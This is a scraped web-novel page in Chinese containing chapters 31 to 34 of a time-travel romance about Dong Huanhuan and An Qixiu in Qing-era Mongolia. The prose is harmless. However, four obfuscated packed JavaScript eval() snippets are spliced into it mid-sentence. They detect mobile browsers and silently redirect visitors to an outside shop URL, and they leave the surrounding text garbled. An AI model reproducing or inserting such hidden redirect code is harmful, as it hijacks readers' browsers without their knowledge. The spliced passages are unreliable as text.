董浣浣和安齐修就站在一边静静的看着这俩主仆一来一往的斗嘴,等到这两个主仆互动完之后,董浣浣才弱弱的插话道:“那个,你不就是刚才来找我们剪风筝的人吗?” 布和抬头看向董浣浣,这才发现和少爷站在一起的居然是之前他们去找的牡丹花风筝的主人。 刚刚回去的时候他还和娜布其一起吐槽了他们呢,布和有点不好意思的摸了摸后颈:“原来是你们啊。” “兴师问罪”的气氛被打断,布和机灵的抓住机会赶紧溜。 他抬脚走到摊主面前,让面色已经有所缓和的摊主帮忙把那匹小红马牵出来。 听到他们这么说孟章砚很快的就反应过来了,笑了笑,意有所指的道:“原来你们就是那牡丹风筝的主人,看来我们真是有缘。” 董浣浣自然是没有听出他话里弦外之音,待他说完点头附和道:“那还真的挺有缘分的。” 安齐修微笑的看了一眼身旁的董浣浣,转而回头看向孟章砚,语气玩味的道:“缘分有很多种,如果是孽缘还是尽早掐了为好。” 孟章砚轻摇了摇头,不赞同的道:“安兄此话差矣,都还没有相处就断定此缘为孽缘,是不是为时尚早了一些?” 安齐修闻言轻笑:“孟兄所言恕我不敢苟同,对我而言,既然已经遇到了最好的缘分,其他的相不相处无差,皆是孽缘。” 孟章砚听他这样说,挑了挑眉,正要反驳,却被安齐修截断了话头。 安齐修意有所指的说:“所谓己所不欲,勿施于人,难道孟兄不赞成我的观点?” 孟章砚将刚才到了嘴边的话又咽了回去,转而对安齐修笑了笑道:“好一句,己所不欲,勿施于人,孟某受教了。” 说完,便不再多言。 站在他们旁边的董浣浣和布和,听着他们这样一来一往的对话,表示两脸懵逼,一头雾水,不知所谓。 “那个……我有一个问题?”,董浣浣弱弱的问。 闻言,安齐修和孟章砚同时转头看向她说:“你想问什么?” 两道声音同时响起问了一模一样的话。 董浣浣顿时觉得亚历山大,在两人的目光中,默默吸了一口气道:“你们是不是之前认识?” 虽然明知道他们是刚认识的,但是他们刚才的那些对话,总让董浣浣有一种他们好像之前就认识的错觉。 待董浣浣说完,两人同时轻笑了一下,异口同声的说:“不认识。” 好吧,是她想多了,董浣浣默默的又低下头去。 不过这两个人的回答未免也太默契了一些吧! 安齐修看到她的这样一副挫败的样子,忍不住勾了勾唇角,伸手去摸了一下她的头。 这一幕被孟章砚尽收眼底,他轻咳了一声,然后转身看了一眼刚刚那劫匪被卫苑带走的路线,又转过身来看向安齐修道:“刚才那个人是怎么回事,要不要我帮忙?” 对了,董浣浣反应过来,他们刚刚可是被人家拿着刀威胁了,被孟章砚那么一打岔,她都忘了问安齐修她被蒙眼的那段时间到底发生了什么事情,遂也抬头看向安齐修。 安齐修直视着孟章砚的眼睛,语气平淡道:“一点小事而已,我们自己解决了,就不劳孟兄操心了。” 董浣浣听他这么说,就知道自己之后也不用问了,问了他也不会说的。 她刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815855|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚可是经历了一场被持刀打劫的戏码,明明此刻应该是处在惊魂未定的阶段,结果让孟章砚这么一打岔,和安齐修这么风轻云淡的态度下,她居然一点也不害怕了。 董浣浣觉得来古代和安齐修相处的这些天,让她的心脏越来越大了,如果要是搁在以前,即使是被小流氓吓唬一下,她都会哭爹喊娘吧,现在倒好,即使是被动刀子威胁了,她竟然还可以站在这里和他们闲聊。 闻言,孟章砚道:“既然安兄已经处理好了,我也就不多管闲事了。” 不一会儿,摊主就把那匹小红马牵出了马厩,布和迎上前去,从摊主的手里接过缰绳。 孟章砚看了一眼小红马又看了一眼摊主递给布和的缰绳之后,又看向董浣浣和安齐修说道:“我们家就在城中不远处,两位要是方便的话,欢迎两位来家中坐坐。” 安齐修刚要张口婉拒,就听到一声马鸣,接着就看到在他面前一向乖顺听话的雪融此刻正在冲着那匹名为如风的马撅蹄子,吐口水。 站在一旁的董浣浣被眼前的场景给惊呆了,她这是亲眼看到两匹马在斗殴吗? 不对,说错了,她这是亲眼看到雪融在单方面寻衅滋事吗? 人家的小红马优雅的站在一旁一声不吭,她家雪融却像个刺头一样对着人家又叫又尥蹶子的,完全没有它名马该具备的风度。 此时的董浣浣觉得自己就像是学校里问题学生的家长,被班主任叫到学校里当众点名批评式的尴尬。 这个熊孩子,实在是太丢人了。 身为对方代理家长的布和此时也觉得很丢人,如果他们家小姐知道如风现在这个丢人现眼的样子,不知道是会杀了如风,还是杀了他,内心纠结,呈现在脸上的表情让人难以用词汇来表达。 董浣浣看到布和的表情,有些不好意思,走到雪融跟前,摸摸它的头,理了理它的毛,想要试图安抚它的情绪。谁知这小子根本不为所动,仍是对着那小红马龇牙咧嘴的。 董浣浣无奈了。 关键时刻还是安齐修靠谱,只见他凑近雪融的耳朵,说了几句命令的话,它就安分下来了。 董浣浣心里忍不住想要打雪融了,这大庭广众之下的,这小子居然给她表演吃硬不吃软,看她以后怎么教育它。 安齐修修理完雪融,才语含歉意的婉拒了孟章砚的邀约。 孟章砚看到安齐修的态度,也不强求。 “没想到安先生的马如此忠诚护主,它肯定是以为如风会伤害两位才会如此的。” 听到孟章砚这一通明夸暗贬,董浣浣脸上的黑线刷刷的,在心里默默吐槽:孟先生不带你这么损人的,还能不能愉快的玩耍了。 安齐修闻言:“此马野性难训,我们以后自当好生驯养,万望孟兄莫怪。” 孟章砚笑笑道:“不会,不会。” 几人关于如何养马又交谈了一会之后,双方才各自牵着自己的马分道扬镳了。 董浣浣和安齐修赶到皮影戏馆的时候,恰好还没开始演戏。 两人捡了个包间,要了些瓜子,花生等零食,边嗑边等着老先生开始。 31. 缘分 这家皮影戏馆,是董浣浣无论是电视上还是现实中见到的最大的皮影戏馆了。 从她走进去的那一刻就被眼前的场景给震撼住了。 整个舞台大约有二十米长,十米宽,幕布此刻被卷成了一个轴挂在舞台的上方,整个皮影戏馆和现代的大型电影院差不多大。 此刻几个老先生坐在舞台的中央,正在整理他们表演时要用的道具。 台下大堂里早已坐满了看客,都在边吃小吃,边唠嗑的等着好戏开场。 原来看个皮影戏也可以摆这么大的阵仗啊,董浣浣觉得她算是长见识了。 小二引着他们走到二楼之前卫苑给他们订的包间,把零食给他们摆好之后,又给他们介绍了一下今天要表演的节目,待确认完他们没有其他的需求之后随即离开。 董浣浣抓了把瓜子,走到床前,边磕着瓜子边往楼下看。 楼下几个小二来来回回的穿梭于各个看客之间,添茶递水的好生热闹。 转头再看向舞台,就看到幕布已经被拉下来了,后面有几个黑色身影晃动,应该是那几位表演的老先生还在整理自己的道具。 其实从这个角度看向舞台,没在下面的角度好,无奈董浣浣知道安齐修是一个不喜拥挤的人,他今天都迁就她一天了,她也要迁就迁就他一下。 被“迁就”的安齐修此时正在给她往她的小碟子里剥花生米,一个一个的小胖子似的花生米整整齐齐的在她的小碟子里站好队。剥完之后拿起一旁的手帕轻擦了手,又往她的杯子里添了一些水道:“过来,喝点水再看。” 董浣浣闻言,听话的走到桌边坐下接过他手中的杯子喝水。 安齐修就坐在旁边看着她喝水的模样,一脸宠溺。 就在这时门外传来几个人上楼梯的声音和一男一女的对话声。 接着那群人就走到了他们的包间。 董浣浣抬头去看,就看到布和和今天上午他们见过的女孩以及其他几个没见过的男人女人,笑盈盈的一起走进了他们的包间。 待看到董浣浣他们后,两人脸上的表情一下子凝固了。 董浣浣也是没想到,这怎么转头又遇见了? 这说不是跟踪他们而来,他们自己信吗? 此时的包间陷入了一种诡异的气氛里,大家都像是被定住了一样都不说话。 安齐修坐在一旁仿佛没看到那群人一般在悠闲的喝茶,布和和娜布其在看到安齐修和董浣浣的一瞬间同时闭上了嘴巴,其他跟着他们来的人更是不知发生了什么。 董浣浣余光看了众人一眼,见他们都没有想要张口打破此刻这过于尴尬的氛围。 今天和他们家少爷交换了信息,也算是朋友了,总不能让气氛这么一直尴尬下去吧,于是董浣浣硬着头皮问道:“好巧啊,你们家少爷呢?” 布和这才如梦初醒般的回答董浣浣的话,顺便交代了一下他们出现在这里的原因:“我家少爷已经回府了,小姐本来是准备来看戏的,她临时有事,就赏了我们半天空闲,让我们来这里看个戏。” 董浣浣点头:“哦,原来是这样。” 心想这人也真是实在,我只是问你家少爷,你没必要连你们家小姐的事情也向我交代一番啊。 娜布其听完董浣浣的话才小心翼翼的说道:“那个,这个房间好像是我们的。”,平时如果被人家抢了东西,她是绝对不会这么好说话的,只是不知道为什么她现在一看到那个男人就被被一种恐惧的情绪所包围,连话都说的如此没有底气了。 待在一旁正在喝水的安齐修听到她这么说,忍不住挑眉看向她:“你说什么?” 对,就是这个眼神。 娜布其感觉更害怕了,几次张口想要解释,都没能说出口。 而安齐修偏偏也不着急,就那样看着她,等着她的答复。 还好小二及时出现结束了她的困境。 小二略带歉意的声音从门口传来:“抱歉了几位,我们搞错了你们的位置,你们的位置在对面呢,各位请随我来。” 刚才小二在下面忙着帮表演者搬箱子,听了他们的预定身份后,只是给他们指了地方让他们先上来,没想到就闹出了这样的误会。 听到小二这么说,布和和娜布其同时松了一口气。 娜布其脸带歉意道:“公子抱歉了,是我搞错了。” 安齐修睨她:“没有下次。” 娜布其点头称是。 待娜布其和安齐修、董浣浣道过歉之后,几人随着小二去对面的包间了。 等他们都走了安齐修才一脸春风的看向董浣浣:“把你的杯子给我,我给你再倒点水。” 董浣浣当场看了一场变脸术之后,乖乖的把杯子递给他,小声的回了句:“哦。” 那几人走到对面包厢,坐定。 布和看向他们这边,冲着安齐修和董浣浣拱了拱手算是打了招呼,董浣浣微笑着点了个头算是回应。 娜布其只是低着头,连看都不敢往对面看。 几人坐定没多久,好戏就开场了。 董浣浣赶忙把目光从对面移到舞台上。 今天表演的是武松打虎的剧目,董浣浣之前还有想过,刚刚老先生们坐在那里就能看到人影,要是正式表演是不是会影响到展现出来的效果。 没想到完全没有影响,光与影完美的结合在了一起,武松和老虎的影子活灵活现的跃然于幕布之上。 锣声响起。 武松打虎正式开演。 董浣浣的眼睛一眨不眨的盯着舞台看,被中国这项传统剧目给镇住了。 没想到在没有普及电的古代,单凭几个简单的乐器,和一个幕布,几张皮影,她就可以看到一场如此精彩绝伦的演出。 和董浣浣完全相反,此时坐在对面的娜布其完全没有看戏的兴致。 好不容易等到了散场,赶忙拉住布和离开,生怕走慢了再遇上安齐修和董浣浣。 和她不同,董浣浣一场戏看下来简直是如此如醉,久久的不愿离开,拉着安齐修道:“真是太精彩了,我们离开科尔沁之前多来几次吧?” 安齐修任她拉着,语含宠溺的说道:“好。” 是夜。 卓礼克图王府。 孟章砚坐在塌上喝了一口水之后,抬眼看向旁边一个正在摆弄鞭子的年轻女子说道:“我帮你试探过了,他不想娶你。” 年轻女子闻言,头也不抬继续摆弄她手中的鞭子,毫不在意的说道: “那不是最好,他不想娶我,我不想嫁他,一拍两散,各自逍遥。” 孟章砚看了自家妹妹一眼,心里想:他们的婚姻是多尔衮和太后亲定的,虽未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她的哥哥本该不是这样的,他是草原上最放荡不羁的狼,是人人艳羡的潇洒的三公子,如今却变成了这般模样。 这般的束手束脚,这般的委屈求全只图个安稳,让她好生生气。 孟章砚整理了一下自己的情绪,笑着对女孩说道:“这个世间有太多的无可奈何,我们身在这样的家族里,享受了无上的尊荣,就要付出相应的代价,我们的命运从来都不掌握在我们自己手里。你们的婚姻关系着蒙古乃至于整个大清朝,父亲此次进京虽说会尽量帮你争取退婚,但是在摄政王和太后的威压下,我不知道他能有几分胜算。” 孟章砚语重心长的叮咛道:“答应三哥,如果此次父亲失败了,将来有一天你嫁给了他,你们做不到相亲相爱,也至少做到像我和你嫂子一样,相敬如宾。” 女孩问:“哥,这样的人生你幸福吗?” 孟章砚答道:“幸与不幸,有的时候要看你和谁对比,和大多数人比起来,我算是幸福的,这就足够了。” 女孩不赞同的摇摇头道:“我的人生我自己做主,宁为玉碎不为瓦全。” 说完抽起鞭子,回自己房间去了。 孟章砚看着她的背影,摇摇头,小声道:小妹,你还是没有长大,待你真的经历过那么一天,你就知道你的手其实什么也抓不住。 32. 打猎前 一晃眼就到了中秋节了。 一晃眼就到了中秋节了。 董浣浣没有想到她在古代的第一个中秋节居然也是在“背井离乡”中度过的。 也是到了这个时候董浣浣才知道,古代的蒙古人是不过中秋节的,越到中秋节整个客栈反而越冷清了。 董浣浣在这样的气氛的烘托下,很自然的有点开始想家了。在中国这个寓意着团圆的节日里,能回家就是好的啊,至于是现代的那个家还是古代的家,董浣浣此时觉得无所谓了。 中秋节早上。 紫鸢和小柒过来给董浣浣梳妆的时候,就看到她家小姐一脸惆怅的坐在床上出神。 紫鸢把端着的水盆放在一旁,抬手在董浣浣的眼前晃了晃,看到董浣浣回过神,才语含担忧的问道:“小姐,你怎么了?” 董浣浣缓缓的抬起头看向紫鸢,有气无力的问道:“紫鸢,你说阿玛他们现在回到京城了吗?” 紫鸢听到她这样说就知道了自家小姐大概是因为什么怅然若失了,遂试探性的问道:“小姐,你是不是想老爷了?” 董浣浣点头,声音恹恹的道:“嗯,我想他了,我也想小弟了。” 董浣浣有些自嘲的想无论是在现代还是在古代她总是这样,在家的时候想要往外面跑,向往自由,但每逢这样的日子又会止不住的想家。 听她这么回答,紫鸢柔声的劝解道:“小姐你别难过,既然你想老爷了,我们就早点回去看他老人家就好了,老爷和少爷估计也想你了。” 董浣浣吸了吸鼻子,弱弱的从嘴里蹦出了一个:“嗯。” 站在一旁的小柒看到自家小姐这样,小小年纪的她也忍不住替董浣浣难受起来,伸手拉住董浣浣的手小声的安慰她道:“小姐,别难过了,你很快就可以和家人团聚的。你看我都没有亲人了,我都不难过。” 董浣浣听到小柒这么说,鼻头有点酸酸的,这个傻孩子,为了安慰她这么用力的在自己的伤口上撒盐呢。 董浣浣一只任由小柒牵着,另一只手摸摸她的头,之后又拉过紫鸢的手,温声的和她们说:“谁说你没有家人的,我们是一家人。” 接着董浣浣松开牵着他们手的手,扶住她们的后颈,让三个人头靠在一起,很虔诚很虔诚的许愿:愿大家一切平安就好。 小柒被董浣浣的举动感动到了,眼睛里湿湿的,瓮声瓮气的说道:“我们要永远和小姐在一起,一辈子不分开。” 紫鸢难得的附和她道:“嗯,一辈子不分开。” 董浣浣闻言,轻拍了一下小柒和紫鸢的小脑袋,说道:“说什么呢,我们怎么可能永远在一起呢,你们将来都是要结婚生子的,难道还要一直赖在我们家吃我们家大米不成。” 本来很温情的氛围被董浣浣这么一句话给打破了。 紫鸢和小柒同时抬头看她,眼睛里都还带着没来得及收回的水汽,脸上则尽是埋怨之色。 董浣浣承认刚刚是她破坏气氛了,但是两个女生说要和她永远不分离,这让她有一种不好的预感,电视剧里每次出现这句话的时候,后面总是跟着一大堆的撕逼和反目成仇的剧情。 虽然煞风景,但她很不喜欢这样捆绑式的海誓山盟,再说了父母,儿女甚至爱人,没有人可以做到永远在一起,这个道理从她穿越的那一刻她就已经验证过了。 她日后不想演二女侍一夫的剧情,也不想演姐妹反目的剧情,更不想拿两个女孩的人生为赌注去实现一个名为“永远”的无稽之谈,就不在这里立什么flag了。 董浣浣轻咳了一声,试图缓解一下尴尬的气氛道:“你们帮我梳妆吧,我今天想要出去逛逛。” 待在客栈里,只会让她的心情更加的低落,被想家的情绪牢牢的包围住而已。 紫鸢和小柒听了她的话,随手抹了把脸,把眼睛里的水汽抹掉。 心里忍不住埋怨:她家小姐简直是太煞风景了。 小柒擦完脸躬下身去把董浣浣的鞋子往床边推了推,紫鸢则扶着董浣浣起来穿上鞋。 两人一左一右虚扶着董浣浣走到梳妆台前,紫鸢站在董浣浣的后面帮董浣浣梳头,小柒则把刚刚放在床边的水端过来放在架子上。 紫鸢边给董浣浣梳头,边问道:“小姐打算今天去哪里逛啊,是和安公子一起去吗?” 董浣浣从铜镜里看着紫鸢给自己梳头的动作,回答道:“就随便出去逛逛,待会去问他要不要一起去。” 紫鸢听董浣浣说完,应道:“哦,是这样啊。” 董浣浣听到她语气里的低落转过身去,脸靠在紫鸢的身上,笑着和她说道:“放心吧,也带着你们一起去。” 这几天一直跟着安齐修单独出去,冷落了她们两个,她们两个在客栈肯定是待的烦了。 紫鸢鼻子里轻哼了一声说:“我可没有说我想去”,转而把董浣浣靠在她身上的头,扶正继续给她梳头。 董浣浣笑眯眯的接道:“对,对,对,你们都没有很想去,是我很想带你们去,可以了吧?” 紫鸢被她揶揄的有些脸红,硬板起脸来嗔怪道:“小姐你别乱晃了啊,弄疼了你,可别怪我啊。” 这是拿她的项上人头来威胁她啊,董浣浣闻言这才乖乖的安静下来。 紫鸢帮董浣浣梳洗打扮完,就听到了敲门声。 来人是单良。 单良和董浣浣请了安,然后恭敬的说道:“浣浣小姐,主子说想要带你出去打猎,让我来问您有没有时间?” 董浣浣闻言轻声重复了一句:“打猎?” 单良点头答道:“是的。” 董浣浣是个路痴,高中的时候地理知识也学的差,到了大学基本上也都忘光了,对祖国的地图的了解处在什么方位有什么好多都对不上号的阶段,心想:这几天在科尔沁逛了这么久,也没见什么地方有山可以让他们去打猎的,遂向单良问道:“他有没有说我们去哪里打猎啊?” 单良恭敬的答道:“回浣儿小姐的话,主子说去大兴安岭。” 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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董浣浣被那一摞新置办的骑服给镇住了,看样子安齐修一时半会是不会让她的男装现世了。 不过另一个更令人难以启齿的问题从她的脑中形成,董浣浣弱弱的开口问道:“你是怎么知道我的尺寸的?” 安齐修身边的全是男人,绣娘她今天是第一次见,所以是哪个男人给绣娘报了她的尺寸? 安齐修闻言先是顿了一下,转而又笑了起来,凑近董浣浣耳边小声的说道:“我没有目测你的身材,当然他们更不敢。”,嗓音充斥着魅惑与勾引。 他说话的呼吸声就在耳边,董浣浣的耳朵瞬间红的仿佛滴出血来。 在董浣浣耳边说完这句话之后,安齐修抬起头,面色清冷,一本正经的说道:“前几天让紫鸢给绣娘报的尺寸,她都没有告诉你吗。”,然后得出结论:“你这个丫鬟越来越不称职了。” 董浣浣此时只有一个想法,就是想回到房间里打死紫鸢。 此时呆在房间里的紫鸢莫名的打了一个喷嚏,表示很冤,您不让告诉小姐的,我敢告诉吗? 33. 置办服装 安齐修拉着站在一旁还在脸红的董浣浣,走到床前。 “你过来选选你喜欢什么样的花色,安齐修指着床榻上的那群布接着说:“天气转凉了,我们还会在科尔沁待上一段时间,我把绣娘请来了,让她帮你再置办几身蒙古服饰,这样以后你出门也方便。” 董浣浣刚从脸红中回过神来看了一眼床上的那一摞摞的布匹,就又被镇住了。 安齐修这是把一个布店的布匹都给搬来了吗? 董浣浣小心翼翼的看了一眼还站在门边的绣娘,恰好迎上绣娘对她微笑着的目光。 那笑容既和蔼又亲切,让人有一种如沐春风的感觉。 董浣浣内心忍不住吐槽:绣娘能不看着她笑吗,现在的她在绣娘眼里简直是无敌超大型的肥羊。 安齐修这个败家公子,这到底是买了多少布啊。 吐槽归吐槽,面子上还是要过去的,董浣浣脸上堆起了浅笑对着绣娘点了一下头。 才往下抻了安齐修拉着她的手,示意他把头低下来。 安齐修会意,把头低到她方便说话的位置,董浣浣凑近她的耳边:“我现在的衣服已经足够穿了,不用再给我置办新衣了,还有我们现在在逃难,也不知道什么时候可以回家,钱一定要省着花才行,不可以这么铺张浪费。” 之前买雪融的时候董浣浣就想说了,只是当时被喜悦冲昏了头脑,事后才想到买一匹那样的马,花费的钱财估计可以够他们吃上一年的,安齐修这种公子哥没有吃过没钱的苦,从现在开始她要给他安齐修好好的守住了他的钱袋子。 安齐修听完她的悄悄话,侧头看了她一眼,正要开口解释,就感觉董浣浣再次拉住他的手让他低下头,表示她还没有说完。 安齐修无奈的笑笑,听话的低下头去听她“吩咐”。 董浣浣用余光偷偷的又看了一眼站在旁边的绣娘,毕竟是准备挡人家财路的,太明目张胆的直接说不要了,她怕日后会被绣娘给记恨上,招来报复。 小心翼翼的看完绣娘的脸色之后董浣浣才小声的在安齐修的耳边说:“我们选一匹最便宜的,剩下的都以不好看为借口退了,给她送回店里就好了。不用她自己动手,我们自己给她搬过去,保证把这些布匹放回到原来的位置,我们甚至还可以赔偿一些钱给她。” 安齐修听她说完了之后,没说话,只是拉着她走向绣娘的跟前,然后笑着道:“刚才忘了给你介绍了,这是家母的贴身绣娘,你以后唤她吴姑姑就好。” 安齐修拉着她走进绣娘的时候,董浣浣内心是拒绝的,害怕绣娘从安齐修的嘴里听到了她的建议之后,会忍不住想要当面给她一巴掌,但是为了安齐修她还是硬着头皮走到了绣娘的面前。 如今听到安齐修的解释,董浣浣特别想要找个地缝钻一钻。 原来人家真的只是单纯的向她示好而已。 刚才她脑补的那一堆都是些什么东西啊,简直是以小人之心度君子之腹。 太丢人了。 安齐修看着她又红了的脸,忍不住又逗她道:“这些布都是从我们布庄里拿的,你挑剩下的我让卫苑找人送回去就是了,绝对不铺张浪费。” “绝不铺张浪费”,安齐修还特别加重了发音。 董浣浣一听就知道安齐修是在逗她,嘴硬道:“就算是自己家的也不能这样随便拿来,店里还卖不卖布了。” 安齐修呈“乖巧状”,微笑着继续逗弄她道:“浣儿小姐教训的是,鄙人这厢记下了,所以可以请浣儿小姐开始选布了吗?” 站在一旁的吴嬷嬷和卫苑什么时候见到过他们家主子这幅模样,心里震惊极了,险些管理不好自己脸上的表情。 董浣浣闻言轻哼了一声,转头走到床的跟前,开始选布。 吴嬷嬷非常有眼力劲的紧随其后走到床边,给董浣浣介绍质地和花色。 安齐修看着董浣浣努力挑布的背影轻笑了下。 这还是第二次她向他使小性子,上次还是因为他受伤把她吓到了。 平时在他面前的她太乖了,他还是更喜欢她在其他人面前那副古灵精怪的模样。 安齐修反思,是不是他在她面前的样子太过于严肃了,让她一直那样小心翼翼。看样子以后要多逗逗她才行,安齐修在心里暗暗的想。 董浣浣这会才没有时间去揣摩安齐修在想什么呢,她在努力的专心的挑布。 挑着挑着,心里又忍不住的在冒粉红泡泡:安齐修在现代一定是霸道总裁的人设,这私人订制什么的也太带感了。 听着吴嬷嬷的介绍,一匹一匹的看过去,董浣浣选了一匹湖水绿暗纹碎花的,一匹天蓝色乌力吉纹的,一匹紫色的牛鼻文图案的,和一匹嫩粉色祥云图案的。 吴嬷嬷把布匹给董浣浣依次的抽出来放好,最后把他们和安齐修事先给她选好的两匹放在了一起。 为此吴嬷嬷还笑的一脸意味深长的和董浣浣说:“这两匹可是少主子给小姐精心挑选的。” 董浣浣看到了那两匹真心不知道该说些什么,她真的怀疑安齐修是不是想要弄死她啊。 一匹大红色上面是凤凰图案,一匹是明黄色碎花的,她虽然是学渣但是也知道在古代,一般女子,衣服上是不能有凤凰的,更何况穿明黄色的衣服了。 她有些无奈的看向安齐修,谁知安齐修像了解她想要说什么似的,笑着安抚她道:“没关系,以后会用的上。” 董浣浣在心里吐槽:能用的上才怪呢,除非你是皇帝,而我跟你沾了光做了皇后,才能用的上。 你又不姓爱新觉罗,我也不想要当皇后,这些衣服做了也只能压箱底了。 哎,可惜了这两匹这么好的布了。 刚在心里叹完了气,董浣浣转念一想,不对啊。 安齐修作为一个古人这些规矩他肯定是比她懂得多,而且他又不会去害她,怎么会明知道是大忌讳还让她穿。 难道是她孤陋寡闻了,可能在古代蒙古有什么重大的节日,平民也是可以穿这些衣服的。不过当着这么多人的面,她还是不问为好,少问少错,免得她穿越的事情露馅了。 毕竟她还是想在这里安安稳稳的活下去,暴露天机总归是不好的。 董浣浣微笑着对吴嬷嬷说道:“就这些了,那就麻烦吴姑姑您了。” 吴嬷嬷笑着说道:“不麻烦,不麻烦,能给您做衣服是我这辈子的荣幸。” 闻言,董浣浣有点不好意思的又连连道谢一番。 董浣浣选好之后,凑到安齐修的面前,语气讨好的看向安齐修:“那个我可不可以也帮紫鸢和小柒也选两件。” 安齐修看了她一眼,没说话,就想看她接下来会怎么办。 董浣浣心想,这是同意还是不同意啊。 自己做衣服,却不给紫鸢和小柒准备,董浣浣觉得自己的良心实在是过不去。 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815858|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安齐修迟迟没有张口的迹象,董浣浣觉得自己白拿也就算了,带着全家老小一起白拿,也未免有点太厚脸皮了。 董浣浣有些不好意思的硬着头皮说道:“她们的我会给钱的。” 听到她这话安齐修笑了:“你的钱都在我这里,你忘了?” 董浣浣挠了挠头道:“那倒也是,要不你就从我那些钱里扣就好了。” 安齐修闻言,摸了摸她的头说道:“钱就算了,人给我就好了。” 董浣浣内心忍不住翻涌:我的妈呀,这是委婉的向我求婚吗,还是想对我做些什么,这男未婚女未嫁的,现在做点什么,是不是为时过早啊,尤其他们还是在这么保守的古代。 安齐修一看到她的脸色,就猜到她一定是想歪了。 遂又伸手在她的脑袋上轻轻的弹了一下,微笑着看向她说:“不管你现在脑子里想的是什么画面,我都可以告诉你,不是你想象的那样。” 听他这么说,董浣浣有些自惭形秽的低下了头,安齐修还真是了解她啊,人家明明一句简简单单的表白怎么就让她想的这么暴/力,这么黄/色呢。 安齐修牵起董浣浣的手,转头吩咐站在一旁的单良道:“过会去把紫鸢和小柒叫过来,让她们挑几块布,让吴姑姑一并给做了。” 单良恭敬的答道:“是,奴才这就去请。” 说完退出门去。 等到单良离开,安齐修又看向卫苑吩咐道:“就按照刚才我们说的那样去准备。” 卫苑应下,也退出门去了。 董浣浣疑惑的看向安齐修问道:“你们之前说的哪样啊,要准备什么?” 安齐修笑着刮了一下她的鼻尖说道:“你待会就知道了。” 说完牵着她的手把她拉出去了。 吴嬷嬷在房间里看着这两人的背影笑的一脸慈祥,他们家的主子终于不在是那个高高在上的冰冷的天子了,身上终于沾染了属于尘世少年的气息了。 董浣浣被安齐修一路从楼上牵到了雪融身边才又弱弱的问道:“我们这是要去哪里?” 安齐修略带神秘的说道:“过一会,你就知道了。” 刚刚安齐修让她挑的骑装她没有选,也没有换衣服,安齐修这是要带她去哪里,董浣浣:“你之前不是说好我们一起去打猎的吗?” 安齐修剑眉微扬,轻声问:“大兴安岭距离我们有几十里路,你是想要今天去吗?” 董浣浣感叹道:“这么远啊。” 单良大早上的说安齐修要带他们去打猎,她自然就顺势的以为是今天出去去打猎了,没想到只是先来邀约一下而已。 不过这事也怨单良,她都误会的那么明显了,也不给她解释一下。 等她感慨完,安齐修才道:“所以我让卫苑出去去准备一下我们的行装,我们明天一早出发,我今天先带你去个地方。” 董浣浣点头:“哦。” 还是安齐修想的周全,不像她做什么都是一时兴起,没有个规划。 今天先出去逛逛,明天准备好了再出发,还是这样比较稳妥,只不过她刚答应了紫鸢和小柒要带他们一起出去玩,这转眼间又只和安齐修一起出去,实在是太不仗义了,于是和安齐修提议道:“那个我们可不可以带上紫鸢和小柒一起去呢?” 安齐修一把掐住她的两只胳膊,把她抱了起来,放到了马上,语气难得无赖的从嘴里吐出两个字:“不带。” 34. 世外桃源 安齐修骑着马带着董浣浣走到了一个山谷口,停了下来。 安齐修先下了马,然后转身把董浣浣也抱了下来。 董浣浣的胳膊紧紧的圈着安齐修的脖子,待他弯下腰之后,才敢顺势从他的身上下来。 站稳后董浣浣看了一眼谷中的环境,只见四处各类花草竞相开放,鸟儿和蜜蜂在其中嬉戏穿梭,不远处还有一座两层的房子。 粗略的看完了此时身处的环境,董浣浣转头看向身旁的安齐修问道:“这里是哪里啊?” 安齐修:“这里名为无名谷,是家母的一个朋友的所居之所,今天恰好得闲,就过来走动一下。” 董浣浣恍然道:“原来如此。” 董浣浣话音刚落,从那间房子走出了一个小厮模样的人。 那人看见安齐修和董浣浣,笑脸盈盈的就迎了上来,走到安齐修和董浣浣的面前后,对着他们鞠了一躬,然后恭敬的开口道:“这位想必就是安公子和董小姐了吧,管家让小的在此恭候多时了。” 安齐修点头称是,让他前面带路,然后把雪融的缰绳递给他。 小厮从安齐修的手里接过马儿的缰绳,然后笑着对安齐修和董浣浣说:“两位请随我来。” 安齐修牵着董浣浣的手,跟在小厮的后面,进了那座房子里。 刚到房子里,就有一个长相富态的老婆婆脸上堆满了笑,冲着安齐修和董浣浣打招呼:“两位贵客来了啊,我饭菜都已经做好了,两位可以入席了。” 说完又吩咐站在一边的小厮:“快把安公子的马牵到马厩去,别忘了顺便把马给喂饱。” 小路子笑着应声,转头给安齐修和董浣浣又重复了一遍,得到应允后,就牵着马去后院了。 